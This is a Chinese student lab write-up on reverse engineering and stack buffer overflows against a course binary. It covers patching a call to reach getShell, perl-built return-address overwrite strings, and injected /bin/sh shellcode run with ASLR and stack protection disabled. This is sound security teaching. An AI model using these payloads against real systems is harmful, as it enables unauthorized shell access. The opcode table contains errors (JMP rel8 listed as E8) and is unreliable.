2019-2020网络对抗技术 20175207 Exp1 PC平台逆向破解
目录
1.基础知识
1.1Linux常用命令
- 1.1.1管道(|)
- 以前面命令的标准输出作为后面命令的标准输入
- 自动忽略错误的标准输入
- 后面接的命令必须能够接收标准输入
- 不能接收的命令包括ls、cp、mv等
- 可以接受的命令包括cat、grep、less、more等
- 1.1.2输入、输出重定向(<、>)
- 以上二者区别
- 重定向操作符(>)将命令与文件连接起来,用文件来接收命令的输出
- 管道符(|)将命令与命令连接起来,用第二个命令来接收第一个命令的输出
回到目录
1.2基本汇编指令的机器码
指令 | 机器码 | 指令 | 机器码 | 指令 | 机器码 |
---|---|---|---|---|---|
JC | 72 | JA/JNBE | 77 | JMP rel8 | E8 |
JNC | 73 | JAE/JNB | 73 | JMP rel16 | E9 |
JZ/JE | 74 | JB/JNE | 72 | JMP r/m16 32 | FF |
JNZ/JNE | 75 | JBE/JNA | 76 | ||
JS | 78 | JG/JNLE | 7F | ||
JNS | 79 | JGE/JNL | 7D | ||
JO | 70 | JL/JNGE | 7C | ||
JNO | 71 | JLE/JNG | 7E | ||
JP/JPE | 7A | ||||
JNP/IPO | 7B |
1.3反汇编与十六进制编辑器
显示main.c的汇编代码 | ||
---|---|---|
gcc -S -o main.s main.c 汇编文件main.s | ||
目标文件反汇编 | ||
gcc -c -o main.o main.c objdump -s -d main.o > main.o.txt 目标文件main.o的反汇编结果输出到文件main.o.txt | gcc -g -c -o main.o main.c objdump -S -d main.o > main.o.txt 反汇编同时显示源代码 | gcc -g -c -o main.o main.c objdump -j .text -ld -C -S main.o > main.o.txt 显示源代码同时显示行号 |
可执行文件反汇编 | ||
gcc -o main main.c objdump -s -d main > main.txt | gcc -g -o main main.c objdump -S -d main > main.txt 反汇编同时显示源代码 |
2.准备
2.1更改主机名
- 临时更改
hostname 主机名
重新打开一个终端后生效
- 永久修改
2.2用户相关操作
- 添加用户
$是普通用户,#是系统管理员
adduser
命令会自动创建用户主目录并创建用户同名的组
sudo adduser 用户名
通过ls -l /home
查看用户是否添加成功 - 赋予普通用户root权限
修改sudoers文件sudo vim /etc/sudoers
在root下一行添加要赋予权限的用户
ALL代表允许所有操作
ALL=(ALL:ALL)ALL
用户=(主机:用户组)可执行的指令
回到目录
3.实验内容
3.1手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
-
下载目标文件pwn1
-
复制pwn1
cp pwn1 pwn2
-
反汇编pwn1文件
objdump -d pwn1 | more
- 输入
/getShell
可以快速锁定到对应函数
-
分析反汇编结果
- main函数中,跳转到foo函数的机器指令:e8 d7 ff ff ff
e8为call指令的机器指令
此指令表示:调用一个函数,该函数和当前代码的距离是ff ff ff d7 - EIP寄存器中的值(下条指令的地址):80484ba
- foo函数的起始地址:8048491
- main函数中,跳转到foo函数的机器指令:e8 d7 ff ff ff
-
计算更改后的机器指令
目的:将main函数中跳转到foo函数的指令改为跳转到getShell函数- getShell函数的起始地址:804847d
- 执行跳转指令时EIP寄存器中的值:80484ba
- 求差
∴call指令对应的机器指令应改为e8 c3 ff ff ff
-
修改可执行文件
vi pwn2
:%!xxd
显示为16进制/e8 d7
查找要修改的内容i
进入插入模式,将d7修改为c3%!xxd -r
显示为ASCII码:wq
保存并退出
objdump -d pwn2 | more
反编译修改过的pwn2文件
-
运行修改前后的文件
- pwn1:shell功能
- pwn2:回显功能
3.2利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
- 通过反汇编了解程序的基本功能
objdump -d pwn1 | more
这里读入字符串,但系统只预留了28字节(-0x1c)的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址
上面的call调用foo,同时在堆栈上压上返回地址值:80484ba
- 确认输入字符串哪几个字符会覆盖到返回地址
gdb pwn1
对文件进行调试r
- 输入
1111111122222222333333334444444412345678
,1234 (0x34333231)四个数最终会覆盖到堆栈上的返回地址 info r
查看寄存器的值
- 确认用什么值来覆盖返回地址
把33~36这四个字节替换为 getShell 的内存地址,输给pwn1,pwn1就会运行getShell。- getShell的内存地址:0804847d
- 应输入的字符串:11111111222222223333333344444444\x7d\x84\x04\x08
注意:机器指令低字节在前、高字节在后
- 构造输入字符串
- 生成存储字符串的文件:
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
- 使用16进制查看指令xxd查看input文件的内容是否如预期
xxd input
- 查看结果
(cat input; cat ) | ./pwn2
- 生成存储字符串的文件:
3.3注入一个自己制作的shellcode并运行这段shellcode
- 准备一段Shellcode
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
参考:Shellcode入门
- 修改设置
- 设置堆栈可执行:
execstack -s pwn3
- 查询文件的堆栈是否可执行:
execstack -q pwn3
结果为X表示可执行 - 查看寄存器地址随机化是否关闭:more /proc/sys/kernel/randomize_va_space
- 关闭随机化:
echo "0" > /proc/sys/kernel/randomize_va_space
- 再次查看确认:
more /proc/sys/kernel/randomize_va_space
0表示已关闭
- 设置堆栈可执行:
- 使用输出重定向将perl生成的字符串存储到文件input_shellcode中:
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
注意:最后一个字符不能是\x0a
- 确定\x4\x3\x2\x1内容
- 打开终端1注入这段攻击buf:
(cat input_shellcode;cat) | ./pwn1
- 打开终端2,用gdb调试pwn1进程
- 查看pwn1进程号:
ps -ef | grep pwn1
- 启动gdb,调试:
gdb
attach 进程号
这里的进程号为11866- 反编译:
disassemble foo
ret地址为0x080484ae
- 设置断点:
break *0x080484ae
- 终端1输入回车
- 终端2继续,输入
c
- 查看栈顶指针位置:
info r esp
0xffffd2ec存放的数据是01020304,为返回地址的位置 - shellcode地址:0xffffd2ec+0x00000004=0xffffd2f0
- 打开终端1注入这段攻击buf:
- 修改input_shellcode文件中的代码
perl -e 'print "A" x 32;print "\xf0\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
- 查看结果:
(cat input_shellcode;cat) | ./pwn1
4.结束语
4.1什么是漏洞? 漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。 4.2漏洞有什么危害? 可能会造成系统破坏、信息泄露、网络崩溃…… 收获/感想 巩固了Linux的相关操作,初步学习了逆向破解的相关知识,复习了汇编指令等…… 发现自己对Linux的操作还不是很熟悉,存在很多盲区,在接下来的学习中要继续补充学习Linux相关知识,复习汇编内容。 革命尚未成功,同志仍需努力🎈(ง •_•)ง参考博客: 0x11_MAL_逆向与Bof基础
回到目录